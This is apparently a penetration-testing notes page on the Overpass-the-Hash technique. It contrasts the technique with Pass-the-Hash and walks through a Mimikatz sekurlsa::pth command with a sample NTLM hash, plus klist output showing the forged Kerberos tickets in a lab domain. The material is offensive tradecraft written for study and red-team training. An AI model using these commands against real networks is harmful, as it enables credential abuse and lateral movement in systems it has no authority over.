Overpass-the-Hash

Pass-the-Hash vs Overpass-the-Hash

• Pass-the-Hash (PtH) involves reusing NTLM password hashes—typically the NT hash of a user account—to authenticate over NTLM. This technique works with both local and domain accounts but only against services that accept NTLM (e.g., SMB, WMI, WinRM with NTLM fallback).

• Overpass-the-Hash (OtH) leverages the NT or AES keys of a domain user to generate valid Kerberos TGTs, which are then injected into the current session (or a new one). This enables access to Kerberos-authenticated services and is preferred in environments that restrict or monitor NTLM. OtH is effectively a Kerberos-based equivalent of PtH, offering broader access in modern enterprise networks.

Overpass-the-Hash (OtH) enables Kerberos-based lateral movement by forging a valid TGT from a user's NTLM or AES key, avoiding NTLM authentication entirely. Tools like Mimikatz generate and inject the TGT into a new process (e.g., cmd.exe or PowerShell), allowing access to Kerberos-protected services such as RDP, CIFS, or WinRM. OtH attacks start a new process with Logon Type 9 (runas /netonly).

This technique is typically used after compromising a host where the target user has logged in. With administrative access, the attacker extracts the user’s hash from LSASS, generates a Kerberos ticket, and injects it into memory. OtH is stealthier than PtH, evades NTLM restrictions, and leverages native system tooling while operating entirely within the Kerberos trust model.

Tools

Although the mimikatz module is named sekurlsa::pth, this is technically an OtH attack—not traditional PtH; this is just a misnomer.

mimikatz

Execute an OtH attack with Mimikatz:

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell" "exit"

There are no cached TGTs yet, as no Kerberos-authenticated service is accessed:

> klist
...
Cached Tickets: (0)

When a Kerberos-based service is used (e.g. CIFS), a TGT for krbtgt/CORP.COM and TGS for cifs/files04 will be generated:

> net use \\files04
The command completed successfully.

> klist
...
Cached Tickets: (2)

#0>     Client: jen @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC1.corp.com

#1>     Client: jen @ CORP.COM
        Server: cifs/files04 @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC1.corp.com

The NTLM hash has been successfully converted a TGT. The latter can now use any Kerberos-based authentication tool, such as PsExec.

SafetyKatz

Rubeus